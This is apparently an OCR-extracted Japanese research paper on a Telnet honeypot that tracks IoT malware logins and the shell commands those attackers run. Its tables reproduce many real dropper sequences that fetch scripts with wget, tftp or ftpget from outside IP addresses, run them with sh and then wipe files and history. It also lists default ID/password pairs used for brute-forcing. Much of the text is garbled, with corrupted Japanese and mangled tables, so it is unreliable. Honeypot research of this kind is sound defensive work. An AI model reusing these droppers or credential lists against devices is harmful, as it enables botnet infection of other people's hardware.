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Abstract: There have been a large number of IoT devices that run Telnet service and attackers have been
compromising them taking advantage of their weak ID and password. In this study, we analyze Telnet login
challenges and shell commands observed by our honeypot. We show that we can identify which malware
is attacking the honeypot and try to grasp the situation of malware outbreaks by matching the attacks
observed by honeypot and the attacks collected by dynamic analysis. Moreover, we show that the number
of ID/password pairs used by the attackers are continuously increasing, indicating more devices are being
targeted.
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Fig. 1 Flow of attack on IoT devices by Telnet.
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Fig. 2 Outline figure of honeypot observation.
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Table 1 Information of simulating IoT device.
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Fig. 3 Malware dynamic analysis environment.
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Fig. 4 Transition of the number of attack hosts that attempted

to login to login-refused-honeypot.
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Table 2 Percentage of ID/password sets used for large scale

attack after appearance date.
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2016/06/20 | 632 0.0%
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Fig. 7 Transition of the number of attack hosts that used

ID /password newly observed at 2016/03/20.
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Fig. 8 Transition of the number of attack hosts that used
ID/password newly observed at 2016/04/05.
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Fig. 9 Transition of the number of attack hosts that used
ID /password newly observed at 2016/04/24.
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Fig. 10 Transition of the number of attack hosts that used
ID /password newly observed at 2016,/06/01-02.
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K3 YUY TEHNENTICL > TRONAID//SAT— F1) A b
L a=r FRYIOMIEE
Table 3 Correspondence table of ID/password and command

sequence from dynamic analysis.

TLHx7  [RHx7 [D/RRT—F

wER  |mREs | UAre SRR

cd /tmp || cd /tmp; rm —rf /tmp/*;

2015/12 weet http://199.175.49.21/w.sh; sh w.sh;

016/2 tftp —r t1.sh g 199.175.49.21; sh t1.sh;

tftp 199.175.49.21 —c get t2.sh; sh t2.sh: rm =rf /tmp/*

cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /varrm ~f %;
busybox wget http://208.67.1.114/rv.shish rv.sh;

busybox tftp —r rvi.sh —g 208.67.1.114;sh rvl.sh;

3 busybox tftp 208.67.1.114 ¢ get rv2:shish rv2.sh;

busybox ftpget 208.67.1.114 rv3.sh rv.shish rv3.shiexit

2016/6/9

4 cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;
5 mv —f /usr/bin/~wget /usr/bin/wget;

mv ~f /usr/sbin/-wget /usr/bin/weet;

mv —f /bin/~wget /bin/wget;
6 patterna  |MV —f /sbin/-wget /bin/wget;

wget http://198.23.151.112/bin.sh; sh bin.sh;
weet1 http://198.23.151.112/bin2.sh; sh bin2.sh;
tftp —r tftp.sh —g 198.23.151.112; sh tftp.sh;
tftp 198.23.151.112 —c get tftp2.sh; sh tftp2.sh;
mv /bin/wget /bin/-wgetimv /usr/sbin/wget /usr/sbin/-wget;
mv /usr/bin/wget /usr/bin/-wget;
mv /sbin/wget /bin/-wget
cd /tmp [ cd /var/run [ cd /mnt [ cd /root [ cd /;
s wget http://208.67.1.182/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 208.67.1.182 —c get tftp1.sh; chmod 777 tftp1.sh; sh tftpl.sh;
tftp —r tftp2.sh —g 208.67.1.182; chmod 777 tftp2.sh; sh tftp2.sh;
o ftpget —v —u anonymous —p anonymous ~P 21 208.67.1.182
ftp1.sh ftp1.sh; sh ftp1.sh;
rm —rf bins.sh tftol.sh tfto2 sh ftol.sh: rm —rf *: history —c
rm —rf /tmp/* /var/*cd /tmp || cd /var/;
et http://149.202.242.80/r.shish r.sh;
ftpget ~u anonymous —p anonymous 149.202.242.80 rr.sh rr.shish rr.sh;
tfto —r rrr.sh —¢ 149.202.242.80:sh rrr.sh
cd /tmp || rm —rf %;
busybox wget http://204.18.0.98/js/sc/sc.sh || wget http://204.18.0.98/js/sc/sc.sh;
1 patternc  |sh sc.sh; rm —rf sc.sh;
busybox tftp —r .sc.sh —g 204.18.0.98 || tftp —r .sc.sh —g 204.18.0.98;
sh sc.sh; rm ~rf .sc.sh
2015/12 cd /tmp [ ed /var/run [[ cd /dev/shm [ cd /mnt [[ cd /var;
01672 mv —f /usr/bin/-wget /usr/bin/wget;
mv —f /usr/sbin/-wget /usr/bin/wget;

mv —f /bin/-wget /bin/wget:mv —f /sbin/-wget /bin/wget;
wget http://185.38.151.92/bin1.sh; sh binl.sh;
wget http://185.38.151.92/bin2.sh; sh bin2.sh;
tftp —r bint1.sh —g 185.38.151.92; sh bint1.sh;
tftp 185.38.151.92 —c get bint2.sh; sh bint2.sh;
mv /bin/wget /bin/-wget;mv /usr/sbin/wget /usr/sbin/-wget;
mv /usr/bin/wget /usr/bm/ wgetimv /sbin/wget /bin/-wget

- QYUY R
cd /tmp [[ cd /var/run H cd /mnt [ed /root [[cd /;
weet http://94.177.227.89/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 94.177.227.89 ~c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
16 tftp —r tftp2.sh —g 94.177.227.89; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget —v —u anonymous ~p anonymous P 21 94.177.227.89 ftp1.sh
17 ftpl.sh; sh ftpl.sh;

2016/6/20 |7

10 pattern b

12 pattern_d

13 pattern e

cd /tmp [l 'cd /var/run ([ cd /mnt || cd /root \I cd /i

et http://198.12.97.79/bins.sh; chmod 777 bins.sh; sh bins.sh;

tftp 198.12.97.79 —c get tftpl.sh; chmod 777 tftp1.sh; sh tftp1.sh;

2016/6/9 tftp —r tftp2.sh —g 198.12.97.79; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget -v -u anonymous —p anonymous ~P 21 198.12.97.79 ftp1.sh

20 ftp1.sh; sh ftpl.sh;

rm —rf bins.sh tftp1.sh tftp2.sh ftpl_sh; r

o A T e e e o 7

— et http://208.67.1.221/bins.sh; chmod 777 bins.sh; sh bins.sh;

22 tftp 208.67.1.221 —c get tftpl.sh; chmod 777 tftp1.sh; sh tftp1.sh;

tftp —r tftp2.sh —g 208.67.1.221; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget -v -u anonymous ~p anonymous ~P 21 208.67.1.221 ftp1.sh

23 pattern F  [ftp1.sh; sh ftpl.sh;

rm —rf bins.sh tfto1.sh tfto2.sh fto].sh: rm =rf %

24 cd /tmp [[ cd /var/run [[ cd /mnt [ ed /root T o /

25 wget http://158.69.115.114/bins.sh; chmod 777 bins.sh; sh bins.sh;

2 tftp 158.69.115.114 —c get tftpl.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp —r tftp2.sh —g 158.69.115.114; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget v ~u anonymous —p anonymous ~P 21 158.69.115.114 ftp1.sh ftp1.sh; sh ftp1.sh;

2016/6/20

- e —rf
2 cd /tmp || od /var/run |l od /mnt [[ cd /root Il d /;

wget http://198.12.97.87/bins.sh; chmod 777 bins.sh; sh bins.sh;

30 tftp 198.12.97.87 —c get tftpl.sh; chmod 777 tftpl.sh; sh tftpl.sh;

tftp —r tftp2.sh —g 198.12.97.87; chmod 777 tftp2.sh; sh tftp2.sh;

31 ftpget —v —u anonymous —p anonymous —P 21 198.12.97.87 ftp1.sh ftpl.sh; sh ftpl.sh;
rm —rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm —rf *; exit

32 cd /tmp [[ cd /var/run [l cd /mnt [[ cd /root Tcd /;

33 wget http://198.144.181.30/bins.sh; chmod 777 bins.sh; sh bins.sh;

tftp 198.144.181.30 —c get tftp1.sh; chmod 777 tftp1.sh; sh tftpl.sh;

34 tftp —r tftp2.sh —g 198.144.181.30; chmod 777 tftp2.sh; sh tftp2.sh;

35 ftpget —v —u anonymous —p anonymous —P 21 198.144.181.30 ftp1.sh ftp1.sh; sh ftp1.sh;
rm —rf bins.sh tfto1.sh tfto2.sh ftol.sh: rm —rf *: exit

cd /tmp || cd /var/run || ed /mnt || cd /root || ed /;

weet http://208.67.1.221/bins.sh; chmod 777 bins.sh; sh bins.sh;

tftp 208.67.1.221 —c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;

tftp —r tftp2.sh —g 208.67.1.221; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget —v —u anonymous —p anonymous —P 21 208.67.1.221 ftp1.sh ftp1.sh; sh ftpl.sh;
rm —rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm —rf *; exit

cd /tmp || cd /var/run [ cd /mnt [ cd /root [[ cd /;

wget http://198.12.97.79/bins.sh; chmod 777 bins.sh; sh bins.sh;

tftp 198.12.97.79 —c get tftp1.sh; chmod 777 tftp1.sh; sh tftpl.sh;

tftp —r tftp2.sh —g 198.12.97.79; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget —v —u anonymous —p anonymous —P 21 198.12.97.79 ftp1.sh ftp1.sh; sh ftp1.sh;
rm —rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm —rf *; exit

2016/7/1

2016/7/1

36

2016/6/9 pattern G

37

T x T ICEAEDID//SAT — FY A MERWTITbiILE C
EPHESNS, 22T, us A BN =Ky M TH
WMEN BB T2 ID//XA T — FDI8y —
PS5, BAMIZIE, BEH420ET
72, 10 RA MAEIC Ko TSN TV ID//YAT —
FU AN, 1,597 i EZE L7z, 2095, EE25100 BL
ToOboOE 1,428 fiHH (89%) TdH Y, Telnet ~DFHIK
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& 4 pattern-a, b, ¢, d, e, F, GO ID//XA7—F+tvy M) X}
Table 4 List of ID/password sets of pattern_a, b, c, d, e, F, G.

pattern_a pattern_b pattern_c pattern_d pattern_e pattern_F pattern_.G
D RRI—F (22) ’%g)_" ) R29—F| D RRI—F |(gt) ’(;;)_F D RRT—F |(;‘;§) ’(;g_"' D A2O—F | D ARO—F | D | SRO—F
root r support | root root r guest root r support r support s root r root r
root t support ¢ root root t guest root t support t admin  a root t root t.
root a support 1 root root a guest root a support a root r root al
root ul support 1 root root U guest root u| support u guest root u
root g support 1 root root g guest root g support g admin s root. g
root | support d )admin root | support r root | support | root root |
root c support p )admin root ¢ support t root c support ¢ admin root c
root 1 support p ladmin root 1 support a root 1 support 1 adm root 1
root 1 support s )admin root 1 support U root 1 support 1 1234 1 root 1
root 1 support v )admin root 1 support g root 1 support 1 root 1 root 1
root d support ¢ lguest root d support | root d| support d admin 1 root d
root p! cisco r guest root  p) support ¢ root  p| support p root
root p cisco t guest root p support 1 root  p| support p root. P
root s cisco a guest root s support 1 root s support s root s
root v cisco u lguest root n support 1 root V| support v, admin  r
root c cisco g root ¢ support  d root c support ¢ admin  t
admin  r cisco | root 1 support  p| root r support r admin  a
ladmin  t cisco c root support  p| admin r cisco r admin  u
ladmin  a cisco 1 admin r support s admin t cisco t admin g
admin  u cisco 1 admin t support  n| admin a cisco a admin |
admin g cisco 1 admin a support ¢ admin u cisco u admin ¢
ladmin | cisco d admin u support 1 admin g cisco g admin 1
ladmin ¢ cisco P admin g support admin | cisco I admin 1
ladmin 1 cisco p admin | netgear r admin c| cisco c admin 1
ladmin 1 cisco s admin ¢ netgear t admin 1 cisco 1 admin  d
admin 1 cisco Vi admin 1 netgear a admin 1 cisco 1 admin
admin  d cisco c admin 1 netgear u admin 1 cisco 1 admin  p
admin  p admin 1 netgear g admin d| cisco d admin s
admin  p admin d netgear | admin p cisco p user r
admin s )admin p netgear c| admin p cisco p user t
admin v admin p netgear 1 admin s cisco s user a
admin ¢ admin s netgear 1 admin v| cisco V| user u
user r admin n netgear 1 admin c| cisco c user g
user t admin ¢ netgear d admin r cisco r user |
user a admin 1 netgear p| user r pi r user c
user u admin netgear p| user t pi t user 1
user g user r netgear s user a pi a user 1
user | user t netgear n| user U pi u user 1
user c user a netgear ¢ user g pi g| user d
user 1 user U netgear 1 user | pi | user
user 1 user g netgear user ¢ pi c| user P
user 1 user | cisco r user 1 pi 1 user s
user d user | cisco t user 1 pi 1 login r
user p user 1 cisco a user 1 pi 1 login t
user p user 1 cisco u user d| pi d login a
user s user 1 cisco g user p pi p login u
user Vi user d cisco | user p pi p login g
user c user p| cisco c user s pi s login |
login r user p| cisco 1 user V| pi V| login c
login t user s cisco 1 user c pi c login 1
login a user n| cisco 1 user r pi r login 1
login u user | cisco d login r login 1
login g user 1 cisco p login  t login d
login | user cisco [ login  a login
login c login r cisco s login u login p
login 1 login  t cisco n login g login s
login 1 login a cisco c login | guest r
login 1 login Ul cisco 1 login ¢ guest t
login d login g cisco login 1 guest a
login p login | login 1 guest U
login p login ¢ login 1 guest g
login s login 1 login  d| guest |
login Vi login 1 login  p guest ¢
login c login 1 login  p| guest 1
guest r login  d| login s guest 1
lguest t login  p| login V]| guest 1
lguest a login  p| login ¢ guest d
iguest u login s login r guest
guest g login  n| guest r guest  p|
lguest | login ¢ guest t guest s
guest ¢ login 1 guest a support r
iguest 1 login guest U support t
iguest 1 guest guest g support a
iguest 1 guest guest | support u|
iguest d guest guest ¢ support g
iguest  p guest guest 1 support |
guest p guest guest 1 support ¢|
iguest s guest guest 1 support 1
guest v guest guest d| support 1
guest ¢ guest guest p| support 1
support r iguest guest p| support d|
support t iguest guest s support
support a iguest guest V| support p|
support u iguest guest ¢ support s
support g iguest guest r
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160
140
120t
100
-
g 80 pattern_a
8 ~—— pattern_b
60 v pattern_c
—— pattern_d
40 ¢+ pattern_e
20 =—= pattern_F
~—— pattern_G

0 2000 4000 6000 8000 10000
time(seconds)

pattern_a | pattern_b | pattern_c | pattern_d | pattern_e | pattern_F | pattern_G

1y avicET
6%@?525 ) 46.5 68.1 65.9 48.2 111 63.9 65.0

B11 "vrArFvLyIICET LI
Fig. 11 Time required for login challenge.

DI/ NS WL DITON TV D 2 L8005,
RIZ, A1HIRL72EBY, BIWETICE D ID//SA
J—FN& vz la~vry FEFIEINTE 7 37T KIZonWT,
07 Ay F v by VIMHHENTZID/ /XA T — RO &
1ol &Wfkz ZNZN I MT O LIz ZH, WE
WA &N ID//SAT— F) A B LU a~ >y FRBIA3
mEd, =%, THEDID//SAT— 1) A MR
THEOY 2 Vva~y FRYIES72. ID//7SAT — K1 A
Fevanvavy FRVIOWILERER 3 IRT. K3 T
i, HHN7ID//SA T — R A N % Z1LE 1 pattern_a,
b, ¢, d, e, F, GELTWS, TNENDID//SAT —
FIJA N2 4 1TRT.

<LV LTI H20, 1 O0RESZICHT A s
AF v Ly DICETAEEMARAE L. K 11 (ZEATE
MearsA4rFy Ly DI LAZID//SAY — FEDOM
Bea s Fx Ly VICBITAL1ITCP Yy va VIZHE
TAHEERMZRLTBY, 7F 7 OMBIIERE (7)), Hishi
ID//SAT = FEARLTWD, B, WIiiloX L7 =T
b12DID/SAT = FE2RTDIZ12DTCP £y ¥ =
VEMLTWS, M1l ofgE3a s 4 v F v Ly UL
BUFBTCP vy Y3 yvORKHELL TS, 777D
&, 2F VMDD O ID//SXA T — KOz IEk
EL 3o RON, 1y ardhizh) 46~48 B
MEET 5 H O (pattern.a, d) & 64~68 IEE DD D
(pattern_b, C, F), v ard7-0 11 BREOLOD
32BN A, patternia G 2K TO 1Ly v a i
B LRHOFIEI52.7HTHY, ES 100 BED ID/ /3
AT —FKYA MO LT 27 THo TH 1 HMFLLE
WZhloTuZ A4 v Fy Ly biift ol i
B, BEORERMI, TR BELEDY 4477 MA
DRER, PmiermAkty v a v, vy aryNT
074 AT TCE L EREE, TN ADARY 7, oy
N7 =2 ORBILT &, kA BRINT X —FIMKIFT 5 L PR
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cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://XXX.XXX.XXX.XXX/bins.sh; chmod 777 bins.sh; sh bins.sh;
titp XXXXXX.XXX.XXX-c get tftpl.sh; chmod 777 tftpl.sh; sh tftpl.sh;
ttp -r tftp2.sh -g XXX.XXXXXX.XXX; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 XXX.XXX.XXX.XXX ftpl.sh ftpl.sh; sh ftpl.sh;
rm -rf bins.sh tftpl.sh tftp2.sh ftpl.sh; rm -rf *; exit

12 pattern.F, G EHIET 253~ v FEOEN
(XXX XXX XXX XXX (L IP 7 FLA)
Fig. 12 Command sequence corresponding to pattern_F, G
(XXX XXX.XXX. XXX is IP address).

160

WK /B

2015/11/15  2015/12/15 2016/1/15 2016/2115 2016/3/15 2016/4/15 2016/5/15 2016/6/15

—pattern a —pattern b ——pattern_.c ~——pattern d —pattern_ e —pattern F —pattermn G

| | pattern_a | pattern_b ‘ pattern_c | pattern_d ‘ pattern_e ‘ pattern_F ‘ pattern_G ‘
[mmehmrz ottt | 12047 1995 3| 48] 19] 179 520 |

13 pattern.a, b, ¢, d, e, F, G # w74 V{ER{N=—
Ry MOF L THEEZIT- 7282 MOHER
Fig. 13 Transition of the number of attack hosts that used
pattern_a, b, c, d, e, F, G.
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e L C\wb, —JpatternF, G &A% &, xfied 5
T avy FERMDPE 12 ISRTERE L Tn5E T Las
b, PLEXY, s v 2 7T S ID//SAT — K
DA RO Z A VBICESTT S b av sy FRNILT
Ld a1 ISkined, W—aID//SAT—FY A &H
WEEETY, BT VRIS A v a~wy R3S
BBGER, BEDID/NAT— K A N & W& T
bU T A VEDOEEHE—THILLHENH S L HHERT
&7,

RIS, ENEFNDID//SAT = FY A MIDOWTH—D
VA NERWIRE SO 74 JEGN=Z =Ky M LT
THONTVLEERHET L. WE R MEOHERER 13
IZRY. @13 75, pattern.a, b, F, G IZ2WTHIZS
COBWERAMZE > THHINTWD Z Db, Z
NENDID//NAT— FY A P& THED L, pattern_a
THEALTH) R A MIBIIB P F Bl s By, §F
12 2016/02/20-2016/03/13 & 2016/05/22-2016/05/26 @
ML (RSN TV S, patterna 121D F 7213 /% A
J—FELTHEENDIHFELZFTAELL A (ID, /XA T —
FO—HHB X & LTHFKRT S), cisco & vXXXX SHERET
&7z, cisco (LTEHBEREF A — 7 T 5 Cisco Systems [13] %
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IRLTWA EEZ 5N, vXXXX IE Dahua Technology [14]
HO—HODVR TT 74V hSAT—FELTHESN
TWVh I EPHER SN TS [15]. DL Cisco #A%%R
& Dahua O % H o 72 BEEAELIHIH AT L Tz
L SHERI E A, pattern b (X 2015/11/15-2016/03/06
OB S 7214, 2016/03/07-2016/05/12 DI Tl
B S ehro7z. LA L, 2016/05/12 25 288
LZFDBIEEAIZHD L Two /2. pattern F B S
HIRA% 2016/05/31-2016/07/05 Td 1), F#1Z 2016/06/12-
2016/06/16 DI T% < #lll S N7z, patternb, F @ 2
DIEID//3A T — F& LT rXXX, uXXX, cXXXXXXX,
IXXX &\ o 7o &) BAESIHMT R 2SS 2 SEHEDO AT
MR INTBY, MEigeEaRziRL <Ho721ID/ /ST —
FDZAPMTHDBEEZLNS. pattern_G I root /XXX &
root /tXXX D 2 DD ID//S AT — Kt v b O THER S
NBIEFICRSORS VY ZNTHY, BB IS A
MR S B S 4, $RI2 2016/06/12-2016/06/16 DA
TR S 7z, MAABBERIT) V= ZAHVNE L, A
Ny P PC R EEHND KNS DAL\, Telnet
7 A4 I L TORRZS»PE D EEZ L, BIR
IR L7280, ES 100 BED ID//SAT — K1) A
FCHhHoTH TR ER 74 v F X Ly P %47 b D
ETFHEND., ZD7OID//NAT—F) A M2ELT5
CETIROUZA U F Ly DI bR EEEL,
BRIZE ORI LT A v F YLy UERITH L
HNTEL., DED L) REH2S, FEFICESONAZI WY
AMERWDYVY 2 T BHET S L FHRENS.

5. BAEMRE

ERHICHBERA D ED) E— MEREEITD 720D —
V2§ 5B AN L7292 & LT, SSH (Secure
Shell) ¥ —ERAZXRIZL7ZD DD 5 [16], [17], [18].

AL (17) CRBEFEONZ =Ky b T L =L T =2 THD
Honeyd [19] £ SSHH—EADTI 2L — bEfF)N=—
Hv FTd 5 Kippo [20] & IV CARIEZ SSH 7 7 £ 2D
EB L OWRIT 24T\, FRlca 7 A VRATREICRIF S b
IRAT = FegiLTwab. £72, @ (16] TIE, BT
/24 %y b= BALTHITL, a s A YRICHERT S
NAT— FEGEHAL, KEAHOILE S Z R L T,
WEEDNBRERONAT = FJ A 227 LTW0WHIE
ARLTwA. ThEORZE[16], [17] T, FEICIEORK
MOBERETH LU 7 A VRATHICHVSENE/NAT — R %
SFEIERN L AT b TV A, KifeTid, ar 4
YEATICIAT, ar A v B0 ax s NRZ oSS &
T5ZET, LVFMARBEONEZ 5T 5. F [18]
T, KX EFEkIca 7 A Yo a~ v KRR ZE 58 L
TWA25, KX T, TIMATNHN=Z—Ry MILD
EIN VY = TR Z BN A28 T, urAg
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YR ZORD a7 Y NRIERET HEH) & B
WL, N==Fy ML VBNSNHBLEREETHI L
T, LBILO~VY =27 OHETHA L. FE, ZHO~
W7 =7 05 Telnet & /- L Thk4 7% ToT # 88~ O L % 3K
ATWBEIENDL, EROGHIZEY, VT = THATD
WRZHBT A L 3ERTDHLEER D,

6. FEHDESHEDFEE

KIFZETIE ToT H25 D Telnet f ¥ — 7 = — AIZxF L
ZEOBEIFTHON T WA EIZIFER L, Telnet 2774 2D
BRSNS ID//SA T — Rl a7 4 YIRS
LYz Naxy FRIEGHT A5 LT, WEARX DR
e by 2 T OREEEIT, SHIIHERRLEE->TWD
IoT HZFDBEIMEZ /R L7z,

ST OFER, FioCBE DG ID/ /XA T — FORN, —
Db DV A BRICKBE 2 RIS S b H:6l &
SEMER L. 2O LS ID//NAT — FEZ fkit S
52 & TR RRICRBBEBBIZMHEH S NS ID//SA T —
FERIICERTELRENS L. $72, FzcHH
L72ID/7SA7—F (6~ 10) #*5, D-Link b —%
(1XXX/D-Link, aXXXX/D-Link % &), Ubiquiti )V — %
(aXX/ubnt % &), Cisco #fh (cisco/1XX 7% &), Dream-
Box ttot v b b v 7R v 7 A8 (uXXX/dreambox)
BHONTVDEEZ SND., TS OEREAS 72 12K
G0 T LN S NG, SHITTNT = T HEED
ID//SAT—=FKJAbeusf  BICFEITFENSE S 2V a
~ 2 FRINAFILEIR D H H 2 EATRENT. T IUTHE
RAPNDOBERLTWEIVY = 7 OHEANETLTSHZ &8
TELIERRBELTNS.

LarL, EBZa 74 AR =Ry M2 & o TEM
SNFZID//XAT — R A MO¥KiE, A~y = 7TEN
FRATIC K > THEOLNAZID/SAT — K1) A bOF L EE
% <, AR TIIERICEBICHEA S T3 ID/ /3
AT =R ZAFDITL—FINIONWTHH & T o721 T X
V. F 7, EBIZID/ AT = Rz vavy FelUgE
THIEPTEYN T 2T HERIETEY LY =
T ORI LTRIEIZA 2, X DM G 21T 720
12, DTN T 2T IZOVTHIN AT LEDSH L.
D1zOIE, ECLCH —NDPLEFEEINLZILVT T D
BEmAE LV L IEL, 53— C&C DHEHZ4T->T
WCENRH D LEZOND, F72, AF v rRus Ay
TX L VOBERTHEEZFEELTLE) VY 2 TI2D
WTh, Yy T EBITERREO EL SIS B D7
ARETHUEDND .

Dib%E 5T 2, 4113 IoT BaRmiT~ vy = 7 OB f#
MEHED TN I ETHERA MDPER L TWEYIL Y =
TOXYFE AN AT S 2 HIEL 2w,

HEE AT D—ERII SRR A E R e R L
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